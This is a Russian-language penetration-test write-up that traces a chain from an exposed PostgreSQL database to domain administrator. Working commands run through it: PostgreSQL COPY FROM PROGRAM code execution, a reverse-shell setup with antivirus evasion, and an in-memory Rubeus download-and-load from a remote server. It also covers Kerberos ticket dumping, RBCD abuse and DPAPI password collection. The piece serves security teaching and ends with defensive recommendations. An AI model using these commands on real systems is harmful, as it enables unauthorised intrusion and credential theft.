Всем привет, меня зовут Никита и в настоящее время я являюсь действующим специалистом по анализу защищенности. Также довольно часто играю CTF и другие соревнования по информационной безопасности (STANDOFF, GiS Days) в составе cR4.sh. В этой статье расскажу про интересный вектор, который был на одном из недавних проектов в компании HEX TEAM (https://www.hex.team/).
Как часто вы анализируете ПО, которое устанавливаете? Проводите ли после установки минимальный поведенческий анализ? Зачастую большинство пользователей доверяет популярным приложениям, особенно если оно не бесплатное. Заказчик как раз таки и придерживался такой точки зрения. Как именно наша команда воспользовалась этим, и пойдет речь далее.
Что касается доступов к инфраструктуре, в рамках проведения работ Исполнителю был предоставлен доступ к двум виртуальным машинам на ОС Windows и ОС Linux, а также выдана доменная учетная запись сотрудника с минимальными правами. На ОС Windows предоставлены права локального администратора.
Как и в каждом проекте после получения доступов, стоит начать стадию разведки инфраструктуры. Можно использовать любой доступный инструмент, в данном случае я выбрал fscan, так как не стоит задача как-то скрывать свои действия и хочется быстро проверить сеть на стандартные уязвимости. (https://github.com/shadow1ng/fscan). После прогона его по сетке, fscan заботливо подсветил открытую базу данных postgres на одном из хостов.

Подключаемся к базе с помощью команды ниже.
psql -h 192.168.x.x -U postgres

После подключения к базе данных, сразу видим, что нам очень повезло, что пользователь postgres включен и является суперпользователем в базе данных (по стандартным настройкам это всегда так), что дает нам право исполнения произвольного кода на удаленном хосте. Но вопрос, как же доступ к базе данных дает исполнение кода на системе, неужели это какая-то CVE? С одной стороны, да (CVE-2019-9193), а с другой - разработчики не признают его, потому что для исполнения кода используется легальная инструкция COPY FROM PROGRAM, которую даже включать нет необходимости, главное чтобы были права на ее вызов. Появилась данная инструкция в PostgreSQL 9.3.
Сама полезная нагрузка:
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
Разберёмся, что же она делает.
CREATE TABLE cmd_exec(cmd_output text); - создает таблицу cmd_exec, куда и будет попадать вывод нашей команды.
COPY cmd_exec FROM PROGRAM 'whoami'; - непосредственно исполнение команды whoami на удаленном хосте.
SELECT * FROM cmd_exec; - читаем таблицу, куда был скопирован вывод команды whoami
DROP TABLE IF EXISTS cmd_exec; - чистим за собой таблицу.

Обычно я исполняю команду id вместо whoami, что я делал и в этот раз, но постоянно получал ошибку и был очень злой. Спустя несколько попыток выяснилось, что PostgreSQL был запущен на Windows, чему я очень удивился.
После успешного получения RCE (Remote Code Execution) на Windows хосте, было принято решение закинуть накрытую чем-нибудь нагрузку rssh (https://github.com/NHAS/reverse_ssh) на хост для удобного реверс-шела и прокси. Или, простыми словами, скрыть наш вредоносный исполняемый файл от антивируса на системе.
Ниже команда запускает rssh в докере, где EXTERNAL_ADDRESS - ваш внешний адрес, куда будут лететь подключения, SEED_AUTHORIZED_KEYS - ваш ключ, с помощью которого будет происходить авторизация на сервер rssh.
docker run -p3232:2222 -e EXTERNAL_ADDRESS=x.x.x.x:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -d -v ./data:/data reversessh/reverse_ssh
Ниже команда компилирует нагрузку для Windows с именем love.exe и размещает ее на HTTP сервере.
link --goos windows --name love.exe

Обычный бинарь удалялся с системы антивирусом, поэтому для накрытия созданного статического бинаря я воспользовался VMprotect, что сразу обошло антивирус на удаленном хосте (позже оказалось, что это обычный Windows Defender). Закидываем, как душе удобно (например обычным curl), потому что в сети не было обнаружено какой-либо IPS / IDS. Грузим, запускаем exe файл и, спустя время, получаем долгожданный шелл!

Подключаемся к нему через команду connect с id нашего коннекта
connect 1ee30c85a3ac4cb319434147108a0a6318e4183f
Сразу проверяем наши локальные привилегии и разочаровываемся, так как нет ничего опасного (например SeImpersonatePrivilege, SeDebugPrivilege или SeBackupPrivilege) через что мы бы могли сразу стать локальным админом.....
whoami /priv

На этом этапе я зашел в тупик, долго думал, как можно повысится до админа, но, после небольшого ресерча и дня раздумий, удалось найти довольно крутой способ (хотя сейчас мне он кажется достаточно тривиальным). Почитав документацию Windows (или можно проверить это путем попытки авторизации на самого себя), узнаем, что аккаунт nt authority\network service использует для связи с доменом машинную учетную запись, что наталкивает на сохраненные kerberos билеты, которые этот аккаунт и использовал для аутентификации в домене организации.
Для дампа билетов воспользуемся Rubeus (https://github.com/GhostPack/Rubeus), но в этот раз так просто накрыть бинарь не получится из-за специфики dotnet приложений, коим Rubeus и является. Грузить его в память для его исполнения нам мешает механизм антивируса AMSI (Antimalware scan interface). Подробно останавливаться на внутреннем устройстве этого механизма и способах обхода не будем, в данном случае сработал обход (https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse). После выполнения скрипта для обхода в powershell, грузим Rubeus в эту же сессию сразу в память, качая его с удаленного сервера, предварительно запаковав его в base64 для большей безопасности.
($RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String((Invoke-WebRequest -Uri http://x.x.x.x:7777/rubeus.txt -UseBasicParsing).Content)));
После загрузки бинаря в память, выполняем его в этой же сессии powershell с командой dump.
[Rubeus.Program]::Main("dump".Split());
И получаем столь нужный нам TGS билет в формат�� kirbi на имя машинной учетной записи PC150$ на службу LDAP. Он позволит обратиться к серверу LDAP и менять параметры от имени данной учетной записи.

Получили TGS, что же делать дальше? Для дальнейшего продолжения вернемся чуть назад к полученным доступам от Заказчика. Был выделен доменный компьютер с локальным администратором, а значит мы можем сдампить оттуда локальную базу данных SAM и получить из нее машинную учетную запись нашего компьютера. Для дампа можно воспользоваться Mimikatz (https://github.com/ParrotSec/mimikatz) или сдампить удаленно с помощью netexec.
Пример команды для netexec:
nxc smb 192.168.x.x -u Administrator -p "password" --sam
Эта машинная учетная запись сильно облегчит нам дальнейший вектор, а создать ее мы не могли, так как у выданной машинной учетной записи заказчиком не было на это прав. Вернемся к полученному tgs на ldap.
Конвертируем tgs билет в формат ccache для дальнейшего использования в Linux с помощью ticketConverter.py из набора инструментов impacket.
ticketConverter.py $ticket.kirbi $ticket.ccache
export KRB5CCNAME=$path_to_ticket.ccache
Подключаемся к ldap от имени учетной записи PC150$ с помощью утилиты ldap shell (https://github.com/PShlyundin/ldap_shell). И выставляем право на ограниченное делегирование на основе ресурсов (RBCD) через нас машинной учетной записи, которую мы получили с выделенного заказчиком компьютера. Или, простыми словами, в атрибут msDS-AllowedToActOnBehalfOfOtherIdentity у учетной записи PC150$ мы занесли машинную учетную запись HEXAGON$, которую мы получили на выделенном компьютере заказчика.

Остановимся на этом этапе и подумаем, зачем нам вообще это надо. Если говорить простыми словами, не вдаваясь глубоко в устройство делегирования в Active Directory, после записи в атрибут RBCD компьютер HEXAGON$ может представиться кем угодно на сервисах, принадлежащих компьютеру PC150$, например, администратором домена, если при этом он не состоит в группе Protected Users и его разрешено делегировать. Для глубокого понимания данного механизма и не только, рекомендую цикл статей от ardent101. (https://ardent101.github.io/).
Получение машинного аккаунта необязательное условие, но это сильно облегчает весь вектор. Если интересно, как проэксплуатировать механизм RBCD, не имея машинного аккаунта, рекомендую статью от snovvcrash (https://habr.com/ru/companies/angarasecurity/articles/680138/)
У опытных специалистов скореe всего возникнет вопрос, почему же нельзя атакой ShadowCredential получить хэш компьютера PC150, затем сделать silver ticket на имя администратора, обойдясь при этом без каких-либо делегаций? Суть в том, что волтер вайт... Суть в том, что у машинных учетных записей в этом домене не было возможности записи в атрибут msDS-KeyCredentialLink, что делало такой вектор невозможным.
После выставления нужного атрибута, запрашиваем tgs на службу cifs на имя администратора домена
getST.py -spn 'cifs/example-PC150.example.com' -impersonate Administrator -dc-ip 192.168.x.x 'example.com/example-PC-HEXAGON$' -hashes <NT-хэш example-PC-HEXAGON$>

Дальше проверяем доступы с полученным билетом, пляшем с бубном и убеждаемся, что теперь мы имеем права локального администратора на хосте PC150! Вместе с проверкой доступа сразу собираем сохранённые пароли в dpapi (система, которая используется для хранения паролей).
export KRB5CCNAME=$path_to_ticket.ccache
nxc smb pc150.example.com --use-kcache --dpapi

На данном этапе нам повезло, что пароль администратора был в сохраненных паролях на системе, вероятней всего с этого хоста заходили на другой rdp хост и поставили галку «сохранить пароль». Также хочется упомянуть, что на хосте был воткнут флеш-накопитель, который содержал абсолютно все пароли в чистом виде от инфраструктуры компании. После этого цель пентеста по получению максимальных привилегий в инфраструктуре была достигнута, чем мы очень порадовали заказчика.
Как же появился этот злополучный открытый postgres? Неужели заказчик развернул его ради какого-либо теста ПО, да еще и на винде? Всё оказалось прозаичнее, заказчик установил редактор чертежей, установщик которого и открывал порт наружу для базы данных в придачу со стандартным паролем, что и привело к компрометации всей инфраструктуры.
Как же не допускать таких ошибок в будущем и оставлять свою инфраструктуру неприступной крепостью? Самое важное следовать простым правилам безопасности и хотя бы минимально проверять ПО перед установкой, даже если за него были отданы деньги. Если нет времени проводить реверс-инжиниринг ПО, эффективней всего проверить открывшиеся порты и TCP или UDP соединения командой netstat на windows.
Команда ниже предоставит всю информацию об активных соединениях и прослушиваемых портах.
netstat -ano
Запускаем ее и проверяем на предмет подозрительного соединения или открытого порта. В данном случае на компьютере был открыт порт 5432, стандартный для PostgresSQL.

Также к рекомендациям можно отнести:
1. Включить свойство «Account is sensitive and cannot be delegated» у привилегированных аккаунтов в домене и добавить важные УЗ с высокими правами в группу Protected Users, что помешает представиться доменным администратором при делегировании.
2. Установить хорошее антивирусное ПО, регулярно обновлять его и анализировать весь трафик в инфраструктуре на предмет несанкционированного трафика.
3. Не сохранять пароли при использовании привилегированных аккаунтов и минимизировать использование самих привилегированных аккаунтов, тем более доменного администратора.
4. Использовать парольные менеджеры для хранения паролей, например, KeePass
5. Не держать все пароли от инфраструктуры в одном месте и следовать политике ZeroTrust, выдавая минимально необходимые привилегии сотрудникам для работы.
Кстати, за новостями HEX.TEAM теперь можно следить в тг-канале (https://t.me/HexTeamMedia).
Спасибо за уделенное время и удачи применить полученные знания на практике!
